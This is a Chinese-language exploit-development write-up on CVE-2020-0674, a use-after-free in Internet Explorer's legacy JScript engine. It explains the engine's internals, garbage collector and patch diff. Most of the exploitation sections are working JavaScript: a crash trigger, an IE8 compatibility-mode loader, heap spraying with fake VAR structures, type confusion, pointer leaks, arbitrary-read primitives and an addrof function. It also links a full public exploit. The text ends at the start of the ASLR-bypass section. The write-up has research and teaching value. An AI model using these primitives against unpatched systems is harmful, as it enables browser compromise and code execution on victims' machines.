0x01 基本介绍
自1995年以来,Internet Explorer一直是Microsoft Windows操作系统的核心部分。尽管正式停止了对Edge浏览器的进一步开1发,但由于其持续使用的情况,Microsoft会继续发布补丁程序。当前的统计数据估计,大约有4%的Internet用户仍在使用Internet Explorer,因此与Opera等浏览器相比,其用户群仍在不断扩大。
https://www.w3counter.com/trends
写这篇文章目的通过研究如何利用其中的漏洞(如UAF)来了解有关Internet Explorer核心组件之一如何内部运行的一些见解。
漏洞利用代码,可以在这里找到:
https://github.com/maxpl0it/CVE-2020-0674-Exploit
0x02 漏洞描述
在本文中,CVE-2020-0674将是分析的重点。它是由360发现的,当时此漏洞已被在野外利用,漏洞位于旧版“ JavaScript”引擎模块jscript.dll中。
http://blogs.360.cn/post/apt-c-06_0day.html
此漏洞的描述是,执行回调函数时,Array对象的sort函数中存在一个free-after-free 。垃圾回收器(GC)不会跟踪此函数的参数,因此可用于导致UAF。
可以为此漏洞编写基本的PoC来触发,如下所示:
[0, 0].sort(exploit); // Trigger the bug function exploit(firstE1, secondE1) { // 'firstE1' and 'secondE1' are untracked var objs = new Array(); // Create an array for(var i = 0; i < 6000; i++) objs[i] = new Object(); // Fill it with objects firstE1 = objs[100]; // Point to one of the objects with an untracked variable for(var i=0; i < 6000; i++) objs[i] = 0; // Clear references to all Objects in the array CollectGarbage(); // Perform Garbage Collection firstE1 + "A"; // Cause a dereference return 0; }
当使用wscript程序执行此代码时,下面的堆栈跟踪显示了崩溃,确认崩溃是在IsAStringObj方法中发生的。
00000000`001edb48 000007fe`f37bda58 jscript!VAR::IsAStringObj+0x1d 00000000`001edb50 000007fe`f37825bc jscript!CScriptRuntime::Add+0x28 00000000`001edba0 000007fe`f37820cd jscript!CScriptRuntime::Run+0x3ed 00000000`001ede50 000007fe`f3786c5b jscript!ScrFncObj::CallWithFrameOnStack+0x16c 00000000`001ee060 000007fe`f37e19a4 jscript!ScrFncObj::Call+0xb7 00000000`001ee100 000007fe`f37e5e81 jscript!CallComp+0xb4 00000000`001ee1a0 000007fe`f37e7b91 jscript!JsArrayFunctionHeapSort+0x4cd 00000000`001ee2c0 000007fe`f3788a5c jscript!JsArraySort+0x241 00000000`001ee370 000007fe`f37b78f6 jscript!NatFncObj::Call+0x14c 00000000`001ee420 000007fe`f3788702 jscript!NameTbl::InvokeInternal+0x41b 00000000`001ee510 000007fe`f3786f12 jscript!VAR::InvokeByName+0x8b0 00000000`001ee720 000007fe`f378701d jscript!VAR::InvokeDispName+0x89 00000000`001ee7a0 000007fe`f3785061 jscript!VAR::InvokeByDispID+0x9dd 00000000`001ee7f0 000007fe`f37820cd jscript!CScriptRuntime::Run+0x3688 00000000`001eeaa0 000007fe`f3786c5b jscript!ScrFncObj::CallWithFrameOnStack+0x16c 00000000`001eecb0 000007fe`f3786abb jscript!ScrFncObj::Call+0xb7 00000000`001eed50 000007fe`f378abfc jscript!CSession::Execute+0x1a7 00000000`001eee20 000007fe`f3781f35 jscript!COleScript::ExecutePendingScripts+0x17a 00000000`001eeef0 00000000`ff4dc12f jscript!COleScript::SetScriptState+0x61 00000000`001eef20 00000000`ff4dbd09 wscript!CHost::RunStandardScript+0x29f 00000000`001eef70 00000000`ff4dd70c wscript!CHost::Execute+0x1d5 00000000`001ef230 00000000`ff4dae9c wscript!CHost::Main+0x518 00000000`001ef840 00000000`ff4db13f wscript!RunScript+0x6c 00000000`001efb60 00000000`ff4d97da wscript!WinMain+0x1ff 00000000`001efbc0 00000000`773f556d wscript!WinMainCRTStartup+0x9e 00000000`001efc60 00000000`7765372d kernel32!BaseThreadInitThunk+0xd 00000000`001efc90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
尽管这是旧版的引擎,但可以通过强制浏览器进入Internet Explorer 8兼容模式,使Internet Explorer 11加载该dll,而不是当前的dll。
可以通过使用JScript 9不支持的脚本语言属性来进行此操作。
https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf
< meta httpd-equiv="X-UA-Compatible" content="IE=8" >< /meta >< script language="jscript.encode" > /* Exploit */ < /script >< script language="jscript.compact" > /* Exploit */ < /script >
下面的视频显示了可以在Internet Explorer 11中触发此漏洞:
仅使用PoC来使漏洞触发没有多大价值,如果不了解导致漏洞根本原因的知识,有些漏洞就会被遗漏,这样做还可能导致失去发现相似的未发现漏洞的机会。
0x03 JScript解释器
在深入研究该漏洞之前,必须先探索JScript引擎,如果你不了解漏洞所在的代码,则找不到根本原因。
JScript是一种解释型语言,这意味着在执行代码的过程中涉及许多组件:
· 扫描-获取输入脚本并将其标记化(由Scanner类处理),这个阶段检查词汇的正确性。
· 解析和编译-创建AST并生成Microsoft P代码(均由Parser类执行),这个阶段检查语法的正确性。
· 执行-获取并执行生成的代码。
重要的是要注意,虽然“扫描”和“解析”似乎是分开的步骤,但实际上它们是相互交错的。这样做是为了避免遇到漏洞时浪费时间。为了解释这一点,请看以下脚本:
var first = 23 +; var second = new Object(); var third = new Object(); var four = new Object();
第一行将触发漏洞,因为尽管23 +看起来是正确的,但在语法上却不是正确的。但是,如果扫描要独立于解析,则将扫描其余代码,并由于漏洞而立即会被丢弃,从而浪费了冗余任务上的资源。
完成这两个步骤后,便会执行P代码。P代码是Microsoft编写的一系列中间语言,用于实现Microsoft Visual Basic之类的语言。JScript使用P代码语言在基于堆栈的计算机中使用简单的操作码执行代码。该函数的核心位于CScriptRuntime :: Run函数中,该函数使用跳转表来确定使用操作码执行的基本操作。
https://web.archive.org/web/20010222035711/http://msdn.microsoft.com/library/backgrnd/html/msdn_c7pcode2.htm
下面的示例旨在给出有关JavaScript代码如何转换为P代码的想法:
var aaa = new Object(); var bbb = aaa;
这将导致以下P代码(不包括对垃圾收集器的调用):
// Scope setup Create var aaa Create var bbb // var aaa = new Object(); Push address of aaa Push the value of object Object // (1) Pop a value and create object of that type. The result is pushed onto the stack // (2) Pop a value off the stack and pop the variable to assign it to off the stack // (3) // var bbb = aaa; Push the address of bbb Push the value of aaa // (4) Pop a value off the stack and pop the variable to assign it to off the stack // (5)
在第1-5点执行指令后,变量堆栈如下所示:
After point 1. [aaa, ptr to Object] After point 2. [aaa, new Object] After point 3. [] After point 4. [bbb, aaa] After point 5. []
0x04 jscript.dll中的变量和对象
由于漏洞与引擎处理变量跟踪的方式有关,因此需要了解内存中各个项目的布局方式。此信息与确定此漏洞的根本原因极为相关。
在JScript中,变量以以下VAR结构表示:
struct VAR { int64 type; // The type of this object (Array, Integer, Float, ...) - Although of size short but for alignment, it takes up a full 64-bit value. void *obj_ptr; // Either points to the object for this variable (for example a C++ object or BSTR) or acts as storage for an inline value. VAR *next_var_ptr; // Mostly unused and not always a VAR pointer when it is used but acts as so during GC when calling scavenger functions. };
它基本上与VARIANT结构相同,在Microsoft Docs网站上可以找到许多类型值。
https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-variant https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f
解释器部分描述的基于堆栈的计算机在堆栈上运行,该堆栈保存作为VAR结构存储的值 。
关于对象,JScript将它们分为两类:本机和非本机;非本地对象是由Web漏洞利用人员在JavaScript中构造的对象,例如:
var non_native = {name:'Non-native'};
另一方面,本机对象(也称为内建对象)是将其函数编程到引擎本身中的对象。这样的示例是Date,RegExp和Array。这些类都继承自NameTbl类,该类定义了对象的默认行为。在下面,你可以看到Array对象如何覆盖某些继承的函数:
引擎已解析的字符串(例如引擎需要查找的JavaScript代码中的变量名)存储在称为符号的结构中,它使用SYM结构表示,如下所示:
struct SYM { wchar_t *symbol; // A pointer to the string that this structure represents. unsigned int length; // The length of the string in wchar_t's. int hash; // The hash value for the symbol. short is_bstr; // Whether symbol is a BSTR or Psz. int bstr_to_be_freed; // Whether the string has been marked to be freed. };
尽管使用SYM进行查找,但名称和属性值本身实际上存储在单独的结构中,这是变量名与特定对象或值关联的方式:
struct VVAL { VAR variant; // The VAR value that this name relates to (For example, the object that the name refers to). void *vval_type; // Appears to be 0x8 when the symbol is for a function such as a constructor, or 0x19 when the symbol is for a property such as the String length property. int hash; // A 32-bit hash value. unsigned int name_length; // A 32-bit number that says how many wchar_t values are in the name. VVAL *next; // A pointer to the next VVAL property. VVAL *next_hashbucket_vval; // If the hash of this object matches another in the namelist, the pointer for this struct replaces the old pointer and the old pointer is instead placed here to act as a singly-linked list. int id_number; // The index of the property, incremented for each property that is made). wchar_t name[]; // The wchar_t string. };
0x05 jscript.dll中的垃圾回收机制
由于CVE-2020-0674是垃圾回收问题,因此了解传统JScript垃圾回收器在内部的工作方式至关重要。
引擎中的GC函数用于执行许多步骤:
· 标记-遍历VAR并将其标记为已释放。
· Scavenge-调用清除器函数以识别当前引用了哪些VAR并取消标记它们。
· 回收-释放仍标记的VAR。
在jscript.dll中,GC使用了一系列双向链接的块,每个块包含100个VAR结构的存储空间,块采用称为GcBlock的结构形式:
struct GcBlock { GcBlock *forward; GcBlock *backward; VAR storage[100]; };
释放整个块后(在GcBlockFactory :: FreeBlk函数或GcAlloc :: ReclaimGarbage函数中),它将被添加到空闲块列表中,以备下一个块分配使用。但是,如果空闲列表中已有50个块,则该块不会添加到列表中,而是会被释放。
为了释放一个块,必须首先释放它包含的所有VAR,通过设置类型的第12位将VAR标记为要收集,如果清除程序函数声明此变量仍在使用中,则该位设置为0。
所有这些的主要逻辑是在GcContext :: CollectCore函数中,该函数标记变量(GcContext :: SetMark),调用清除程序函数,然后回收它们(GcContext :: Reclaim)。
Scavenger函数可以是root scavengers,例如ScavVarList :: ScavengeRoots,也可以是执行NameTbl :: ScavengeCore函数(或对象已对其进行覆盖的函数,例如RegExpObj :: ScavengeCore)的对象scavengers,它们针对当前存在的每个对象运行。
垃圾回收过程是在进行多种启发式操作之后触发的,但是可以像PoC中那样,通过使用CollectGarbage() JavaScript函数在代码中手动调用垃圾回收过程。这可以利用漏洞利用编写人员执行堆风水和以特殊方式操纵堆以构造块,从而使漏洞利用更加容易。
https://www.blackhat.com/presentations/bh-usa-07/Sotirov/Whitepaper/bh-usa-07-sotirov-WP.pdf
0x06 漏洞分析
现在分析漏洞的根本成因,首先,可以使用差分调试。这是一种技术,可以跟踪两次执行并比较生成的路径。这样做可以识别执行中的差异,从而确定对代码所做的更改,从而使其与逆向有关。
通过在受影响的代码中查看函数跟踪,补丁可以更加清晰。通过上面对JScript GC的基本了解,很明显在原始触发器中,变量firstE1和secondE1在创建时未链接,可以在调用sort之前使用差异调试,直到回调开始执行为止。
测试用例如下所示:
WScript.Echo("Start"); [0, 0].sort(exploit); function exploit(firstE1, secondE1) { WScript.Echo("End"); return 0; }
WScript.Echo在这里用作阻止函数,在函数的两端提供弹出式窗口(类似于通常的警报 JavaScript函数)。当第一个Echo调用被命中时,函数跟踪开始。然后,当第二个Echo call被击中时,它将停止。
此PoC在更新KB4534251(修补程序之前)和KB4537767(修补程序之后)上进行了测试,并比较了结果。
对函数的许多更改很可能因为被重构了,例如删除了VAR :: VAR函数,以及从处理主要函数调用逻辑的CallWithFrameOnStack函数更改为新包装的包装称为PerformCall的函数(由于函数名称不匹配或函数名称不再与代码本身匹配,可能会使补丁分发变得更加困难)。
减少了保持不变的函数调用之后,明显的区别是,在CScriptRuntime :: Run调用之前已创建了一个名为ScavVarList的新对象。在对象初始化期间,还会调用IScavengerBase :: LinkToGc,这表明此添加可能是补丁的密钥。
顾名思义,ScavVarList是一个清除器对象,可以在垃圾回收期间取消标记对象,因此符合该漏洞的描述。
为了更清楚地说明这一点,可以使用补丁**差异来识别在PerformCall中创建此对象的位置以及在CallWithFrameOnStack中进行函数调用之前执行的操作。
两种函数显然有很大的不同,但是两者都有许多基本函数块。通过在实际的CScriptRuntime :: Run调用之前和之时突出显示此代码的重要内容,很明显,调用设置的主要区别是ScavVarList对象的引入:
0x07 漏洞验证
尽管此时似乎根本原因很明显,但是在易受攻击的版本和修补的版本之间进行了大量重构,因此验证非常关键。通过中断对IScavengerBase :: LinkToGc的调用并跳过,原来的bug会因相同的崩溃而触发,从而证实了这一理论。
0x08 漏洞利用-类型混淆
UAF的漏洞很有趣,但是要利用它们,必须做更多的工作。在漏洞利用部分中,讨论了xscript版本的jscript的一些概念。第一步是通过重新分配未跟踪变量指向的释放区域并构造一个伪造的对象,将此漏洞转换为类型混淆,类型混淆允许通过构造利用原语来进行更广泛的攻击。
为了引起类型混淆,让我们考虑输入排序回调并设置untracked_1后的原始内存布局:
可变untracked_1指向一个对象中的阵列。在内存中,该对象位于GcBlock结构中,如GC部分所述。请注意,在未跟踪变量指向的对象之前,还有50个其他GcBlock(等于500个存储的var),这是利用UAF的基础,因为前50个GcBlock不会被释放,而是被添加到空闲块列表中。
一旦CollectGarbage函数被调用时,内存布局将改为如下所示:
现在,untracked_1变量指向已释放的内存,从这里开始的目的是在此部分上分配受控数据,为了分配这些空闲块,数据的大小必须匹配(或几乎匹配)空闲块的大小,可以通过查看GcBlock结构来计算此块大小:
· 前向指针(8个字节)
· 向后指针(8个字节)
· 100个VAR结构(100 * 24)
· VAR类型(8个字节)
· VAR对象指针(8个字节)
· VAR未使用或下一个指针(8个字节)
结果是一个0x970字节的块。
未跟踪的变量可能指向此块的VAR数组中的任何位置,因此解决方案是将目标数据遍及整个块(本质上是制作一个假GcBlock),还不清楚变量将指向哪个块,因此必须释放大量的GcBlock,以便可以多次重复伪造的GcBlock堆喷。
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ie-scripting-flaw-still-a-threat-to-unpatched-systems-analyzing-cve-2018-8653/
可以使用在Mcafee分析CVE-2018-8653中讨论的makeVariant的辅助函数来生成伪造的VAR结构,下面是此函数的带注释的形式:
function makeVariant(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper) { // Make a variant var charCodes = new Array(); charCodes.push( // type type, 0, 0, 0, // obj_ptr obj_ptr_lower & 0xffff, (obj_ptr_lower >> 16) & 0xffff, obj_ptr_upper & 0xffff, (obj_ptr_upper >> 16) & 0xffff, // next_ptr next_ptr_lower & 0xffff, (next_ptr_lower >> 16) & 0xffff, next_ptr_upper & 0xffff, (next_ptr_upper >> 16) & 0xffff ); return String.fromCharCode.apply(null, charCodes); }
此函数生成一个24字节的字符串(VAR结构的大小),该字符串似乎是内存中的VAR。
导致分配给定大小的一种方法是使用JavaScript属性进行分配,在JScript中,NameList用于链接诸如属性名称之类的信息,并且在创建新属性时,它会分配空间来存储前面讨论的VVAL结构。但是,由于需要考虑结构header,字符大小转换以及需要用VVAL结构存储的任何数据,因此字符串的大小不能完全符合要求。
该NameList中:: FCreateVval函数使用NoRelAlloc :: PvAlloc函数来分配数据,FCreateVval传递给PvAlloc的大小为:
(length_of_property_name * 2 + 0x42)
然后,PvAlloc在第二个equation中使用该值,该equation用作malloc分配的参数:
size_parameter*2 + 8
因此,长度为0x239的属性名称会导致分配的地址恰好为0x970字节。分配此块后,将从偏移量0x48开始复制UTF-16属性名称,这意味着需要填充以将伪造的VAR与GcBlock VAR对齐,填充量的计算方法如下:
( 0x48 (write offset) - 0x8 (GcBlock forward pointer) - 0x8 (GcBlock backward pointer) ) % 0x18 (since each VAR is 0x18 bytes) = the write offset is 8 bytes into a location where a GcBlock VAR is expected. 0x18 - 0x8 = 0x10, therefore 0x10 bytes of padding is required
通过重复此操作,最终将在未跟踪的变量所指向的位置与属性名称字符串之间出现覆盖。因此,内存中的布局将如下所示:
这种覆盖将使虚假VAR被视为真实VAR,类型混淆的PoC如下所示:
// Start with 16 bytes of padding to correctly align (Each string character is UTF-16) var variants = "AAAAAAAA"; while(variants.length < 0x239) { // Generate a number of variants with type 3 (int) and the value 1234 variants += makeVariant(0x0003, 1234, 0x00000000, 0x00000000, 0x00000000); } var size = 20000 // Will be used to create VVAL structures var overlay = new Array(); for(var i=0; i < size*2; i++) { // Create a large number of arrays for later overlay[i] = new Array(); } function compare(untracked_1, untracked_2) { // Used to create a number of GcBlocks to be freed var spray = new Array(); // Create enough objects to fill more than 50 GcBlocks for(var i = 0; i < size; i++) spray[i] = new Object(); // Point to one of the values in a GcBlock that will be freed untracked_1 = spray[7777]; // Cause all objects to now be unreferenced, meaning that all GcBlocks will be freed in GC for(var i=0; i < size; i++) spray[i] = 0; // Cause a UAF by freeing the GcBlock that untracked_1 points in CollectGarbage(); for(var i=0; i < size*2; i++) { // Type Confusion: Spray VVAL structures. This will malloc with a length of ((2*len(name) + 0x42)*2 + 8). The aim is to allocate the size of GcBlock. This is because untracked_1 points to a var in a GcBlock. overlay[i][variants] = 1; } // Read the VAR WScript.Echo(untracked_1); // Since the compare function must be return 4; } // Trigger the exploit [0,0].sort(compare);
执行此操作后,将出现一个shell窗口,显示数字1234,证明从属性名称字符串到整数VAR的类型混淆。
但是,这种方法存在明显的问题。当前,成功的可能性仍然很低,因为只有一个未跟踪的指针。为了增加覆盖的机会,将需要多个未跟踪的变量。Ivan Fratric在对CVE-2018-8353的部分利用中(其中未跟踪RegExp对象的lastIndex属性)创建了多个RegExp对象,并使用每个对象的lastIndex指向目标数组中的不同偏移量。这意味着一旦数组中的对象被释放,每个RegExp对象将指向一个可能覆盖的区域:
但是,由于必须在其中运行GC,因此无法连续运行sort函数多次,但仍然只有两个未跟踪的变量有用。与此类似的技术是改为使用递归,该排序函数将调用排序与自身的数组作为回调上,此递归的每个深度都会添加两个以上的未跟踪变量,结果排序函数变为:
// Will be used to create VVAL structures var overlay = new Array(); for(var i=0; i < 20000; i++) { // Create a large number of arrays for later overlay[i] = new Array(); } var spray = new Array(); // Create enough objects to fill more than 50 GcBlocks for(var i = 0; i < 20000; i++) spray[i] = new Object(); // Track the depth of the recursive calls var depth = 0; // untracked_1 and untracked_2 are, well, untracked function compare(untracked_1, untracked_2) { // The VAR stack isn't that big, so can only handle so many calls if(depth == 300) { // At this point there are 600 variables pointing to memory about to be unallocated // Cause all objects to now be unreferenced, meaning that all GcBlocks will be freed in GC for(var i=0; i < 20000; i++) spray[i] = 0; // Cause a UAF by freeing the GcBlock that untracked_1 points in CollectGarbage(); for(var i=0; i < 20000; i++) { // Type Confusion: Spray VVAL structures. This will malloc with a length of ((2*len(name) + 0x42)*2 + 8). The aim is to allocate the size of GcBlock. This is because untracked_1 points to a var in a GcBlock. overlay[i][variants] = 1; } } else { // Point to one of the values in a GcBlock that will be freed. untracked_1 = spray[depth*2]; // May as well use both untracked variables! untracked_2 = spray[depth*2 + 1]; // Increase the depth depth += 1; // Recursive call [0,0].sort(compare); // After the recursion is over, check both variables if(typeof untracked_1 === "number") WScript.Echo(untracked_1); if(typeof untracked_2 === "number") WScript.Echo(untracked_2); } return 4; }
0x09 漏洞利用-Infoleak
使用对象属性进行攻击的原因有两个,除了支持特定大小的分配外,它还可用于以多种不同方式泄漏地址,从而绕过ASLR。
第一个可能是因为对象属性字符串存储在分配区域的前半部分,有可能泄漏从前一个GcBlock结构中遗留下来的指针,因为在释放或分配性能时堆块不会归零原因。这意味着可以创建伪造的VAR,并且仅提供类型值,考虑一个包含以下VAR的释放块:
[ type 0x81 ] [ obj_ptr 0x412b9 ] [ next_var 0x0 ] [ type 0x81 ] [ obj_ptr 0x41a04 ] [ next_var 0x0 ] [ type 0x81 ] [ obj_ptr 0x41e24 ] [ next_var 0x0 ]
通过在VAR 堆喷的末尾添加一个字符,可以更改最后一个变量的类型:
[ type 0x3 ] [ obj_ptr 0x41414 ] [ next_var 0x0 ] [ type 0x3 ] [ obj_ptr 0x41414 ] [ next_var 0x0 ] [ type 0x5 ] [ obj_ptr 0x41e24 ] [ next_var 0x0 ] <-- Only the Type was overwritten
由于类型已从0x81更改为0x5,因此obj_ptr具有不同的含义。在这种情况下,0x5是64位浮点型的类型值,而obj_ptr值被视为浮点型值,而不是可以从中读取的指针,以泄漏对象指针。因此,伪造的GcBlock生成代码可以更改为以下代码:
// Paddding var variants = "AAAAAAAA"; // Shorter VAR length as not to go past the 0x970 while(variants.length < 0x230) { // Generate a number of variants with type 3 (int) and the value 1234 variants += makeVariant(0x0003, 1234, 0x00000000, 0x00000000, 0x00000000); } // End the variants block with the value 5 variants += "\u0005";
事实证明,第二种技术更有用,它涉及从VVAL结构泄漏指向下一个属性的指针。它涉及操纵结构中的哈希值以充当VAR类型。通过查看哈希函数,很明显可以使用单个字符名称来使哈希值成为特定结果:
如果未跟踪的变量指向VVAL结构中的哈希值(通过仔细填充属性名称,以便发生这种情况),则将哈希视为该VAR的类型,并将下一个属性指针视为对象指针。然后出现一个问题,即如何使用单个字符名称来创建一个足够大的字符串,以引起对释放的GcBlock的重新分配。可以通过理解为什么PvAlloc如此操作来解决。在分配计算期间分配0x239字符属性名称会扩展为0x970字节的原因是因为PvAlloc没有为一个VVAR分配而且还适用于该区域中适合的任何其他相关VVAR结构,例如特定对象的其他属性名称。因此,在创建此0x239字符属性名称后分配一个单字节属性名称“ \ u0005”将导致PvAlloc在前一个属性名称之后的0x970字节块内返回一个指针,因为原始VVAR只占用了0x4fa字节(VVAR结构+名称字符串),在分配的区域中保留0x476字节的可用空间。
为了使指针泄漏到下一个属性,必须创建第三个属性,以填充哈希操作属性的下一个属性指针。
这可以用JavaScript编写为以下排序函数:
function initial_exploit(untracked_1, untracked_2) { untracked_1 = spray[depth*2]; untracked_2 = spray[depth*2 + 1]; if(depth > 200) { spray = new Array(); // Erase spray CollectGarbage(); // Add to free list for(i = 0; i < overlay_size; i++) { overlay[i][variants] = 1; overlay[i][padding] = 1; // Required in order to align the untracked variable overlay[i]["\u0005"] = 1; // The hash-manipulating value. overlay[i][leaked_var] = 1; // The next property that will get leaked. } total.push(untracked_1); total.push(untracked_2); return 0; } // Save pointers depth += 1; sort[depth].sort(initial_exploit); total.push(untracked_1); total.push(untracked_2); return 0; }
这导致内存中出现以下VVAL,其中哈希和name_len组合为0x200000005,从而使VAR类型为0x0005:
0x10 漏洞利用-任意读取原语
漏洞利用中最有用的原语之一是任意读取原语。结合信息泄漏,它可以证明是非常有用的,它使攻击者能够不断遍历对象中的指针以标识目标目的地的地址,在JScript中,可以使用多种方法来创建任意读取原语。
一种简单的方法涉及构造一个伪字符串对象,其中VAR的对象指针是要读取的位置。字符串方法charCodeAt可用于读取该地址的WORD值。此方法的问题是,如果地址之前的DWORD为空,则无法从该地址读取任何字节。这是由于字符串对象是BSTR,导致字符串开始之前的DWORD充当字符串的大小。通过改用length属性读取几个字节,可以解决此问题。由于BSTR会将字符计数为字节,而JavaScript则以UTF-16计数字符,因此实际长度值(BSTR长度)会被除以2,因此还必须考虑向右移位。因此,可以通过以下方式读取任意字节:将字符串指针设置为向前两个字节,将长度值再右移3位,然后使用0xFF对值进行“与”运算以读取字符值。
在运行初始漏洞利用程序创建许多指向字符串对象的指针之后,无需重新运行易受攻击的函数。由于未跟踪的变量已保存在数组中,因此它们的对象指针仍指向原始GcBlock地址,因此所需要做的就是删除现有的property属性值,收集垃圾信息来清除它们,并通过堆喷新的值来替换它们。那些。该方法的稳定性可以通过在漏洞利用期间堆喷标识号来找到需要释放的确切对象,以便在选定的未跟踪变量上重新分配,从而提高了稳定性。例如:
// Exploits the vulnerability function initial_exploit(untracked_1, untracked_2) { untracked_1 = spray[depth*2]; untracked_2 = spray[depth*2 + 1]; if(depth > 200) { spray = new Array(); CollectGarbage(); for(i = 0; i < overlay_size; i++) { overlay[i][variants] = 1; overlay[i][padding] = 1; overlay[i][leak] = 1; overlay[i][leaked_var] = i; // Used to identify which property name is being used } total.push(untracked_1); total.push(untracked_2); return 0; } depth += 1; sort[depth].sort(initial_exploit); total.push(untracked_1); total.push(untracked_2); return 0; } // Runs the exploit for the first time and leaks a VVAL pointer. The VAR assigned to the property will be a number containing the identifier number function leak_var() { reset(); // Resets some objects and arrays so the exploit can be run a second time variants = Array(570).join('A'); // Create the variants sort[depth].sort(initial_exploit); // Exploit overlay_backup = overlay; // Prevent it from being freed and losing our leaked pointer leak_lower = undefined; for(i = 0; i < total.length; i++) { if(typeof total[i] === "number" && total[i] % 1 != 0) { leak_lower = (total[i] / 4.9406564584124654E-324); // Contains the VVAL address break; } } } // Runs the exploit a second time to cause a type confusion that creates a variable of type 0x80 pointing to the VAR at the start of the leaked VVAL. When dereferenced, the number will be the identifier of the object. function get_rewrite_offset() { reset(); // Resets some objects and arrays so the exploit can be run a second time set_variants(0x80, leak_lower); // Find the object identifier sort[depth].sort(initial_exploit); // Exploit for(i = 0; i < total.length; i++) { if(typeof total[i] === "number") { leak_offset = parseInt(total[i] + ""); // Reads the object identifying number. Since this is of type 0x80 and not directly 0x3, it cannot be easily read directly, so converting it to a string is a quick solution. break; } } } // Run leak_var(); get_rewrite_offset()
一旦执行了此操作,就可以通过创建以下JavaScript函数轻松地释放和重新分配目标对象:
function rewrite(v, i){ CollectGarbage(); // Get rid of anything that still needs to be freed before starting overlay_backup[leak_offset] = null; // Remove the reference to target object CollectGarbage(); // Free the object overlay_backup[leak_offset] = new Object(); // New object - Should end up in the same slot as the last object overlay_backup[leak_offset][variants] = 1; // Reallocate the newly freed location overlay_backup[leak_offset][padding] = 1; // Perform the padding again overlay_backup[leak_offset][leak] = 1; // Create the leak var again overlay_backup[leak_offset][v] = i; // Reallocate over the area with a new property name and a new VAR assigned. This name will be at a known location since the address of this VVAL is already known }
一旦可以可靠地重写位置,下一步就是创建一个指向最终属性名称字符串的VAR。由于可以使用重写函数更改此名称,因此可以使用它来创建伪造的VAR,如下所示:
function get_fakeobj() { rewrite(make_variant(3, 1234)); // Turn the name of the property into a variant reset(); set_variants(0x80, leak_lower + 64); // Create a fake VAR pointing to the name of the property sort[depth].sort(initial_exploit); // Exploit for(i = 0; i < total.length; i++) { if(typeof total[i] === "number") { if(total[i] + "" == 1234) { fakeobj_var = total[i]; break; } } } }
使用此伪造的对象,可以通过将伪造的对象字符串指针更改为目标地址来使用重写函数来创建读取原语:
// Rewrites the property and changes the fakeobj_var variable to a string at a specified location. This sets up the read primitive. function read_pointer(addr_lower, addr_higher, o) { rewrite(make_variant(8, addr_lower, addr_higher), o); } // Reads the byte at the address using the length of the BSTR. function read_byte(addr_lower, addr_higher, o) { read_pointer(addr_lower + 2, addr_higher, o); // Use the length. However, when the length is found, it is divided by 2 (BSTR_LENGTH >> 1) so changing this offset allows us to read a byte properly. return (fakeobj_var.length >> 15) & 0xff; // Shift to align and get the byte. } // Reads the WORD (2 bytes) at the specified address. function read_word(addr_lower, addr_higher, o) { read_pointer(addr_lower + 2, addr_higher, o); return ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8); } // Reads the DWORD (4 bytes) at the specified address. function read_dword(addr_lower, addr_higher, o) { read_pointer(addr_lower + 2, addr_higher, o); lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8); read_pointer(addr_lower + 4, addr_higher, o); upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8); return lower + (upper << 16); } // Reads the QWORD (8 bytes) at the specified address. function read_qword(addr_lower, addr_higher, o) { // Lower read_pointer(addr_lower + 2, addr_higher, o); lower_lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8); read_pointer(addr_lower + 4, addr_higher, o); lower_upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8); // Upper read_pointer(addr_lower + 6, addr_higher, o); upper_lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8); read_pointer(addr_lower + 8, addr_higher, o); upper_upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8); return {'lower': lower_lower + (lower_upper << 16), 'upper': upper_lower + (upper_upper << 16)}; // Return the lower and upper parts of the resulting value }
存在替代的原语,用于从偏移量读取最多0xffffffff个字节。对于32位浏览器,这允许引用变量之后的整个地址空间。但是,64位意味着这仅对读取一小部分内存有用,涉及构造一个字符串,例如:
var fake_bstr =“ \ uffff \ uffff”;
通过使用此字符串创建大量变量,将使用字符串指针来喷射GcBlock。然后可以使用上面讨论的第一种信息泄漏技术来泄漏字符串的地址。一旦获得此地址,就可以使用类型混淆技术来创建新的字符串VAR,其中对象指针比字符串位置提前4个字节。这将导致将0xffffffff视为BSTR长度,从而允许使用charCodeAt函数读取任意内存地址的值。
可以使用第三个选项,其中几个变量几乎完全覆盖,此选项更加稳定,但有局限性。考虑以下VAR:
该VAR类型是5,使对象指针为浮点值进行处理,现在考虑第二个变量指向VAR 2个字节此开始前VAR:
这两个VAR几乎完全覆盖,通过在创建这些变量之前喷射未初始化的内存,可以覆盖越界内存的两个字节,从而更改覆盖变量的类型:
如果将第二个变量设为字符串,如上所示,然后可以将对象指针用于任意读取。浮点VAR可用于更改字符串VAR对象指针的48个最高有效位,但是后16位不能更改。
出于此漏洞利用的目的,将使用第一个选项。
0x11 漏洞利用-变量地址
在利用过程中,将需要找到许多变量的地址,例如泄漏JScript vftable或获取字符串的地址。此时,VVAL指针已泄漏,并且已确定需要释放和重新分配的确切对象,从而形成了读取原语。
使用上一节中讨论的函数来实现原语地址很容易:
function addrof(o) { var_addr = read_dword(leak_lower + 8, 0, o); return read_dword(var_addr + 8, 0, o); }
上面的代码假定该对象将位于32位范围内,因为它已在测试过程中证明。通过将泄漏的VVAL位置开始处的VAR设置为目标对象,并替换任意读取的字符串以指向此VAR的对象指针,它可以工作。读取此内容后,将使用第二个VAR重复该操作,并按以下方式检索对象指针:
0x12 漏洞利用-绕过ASLR和模块版本
由于无法知道目标系统上正在使用哪个版本的DLL,以及所需函数的偏移量,因此必须使用信息泄漏和上一小节中讨论的读取原语以编程方式完成这些模块的基础识别。其基本概述如下:
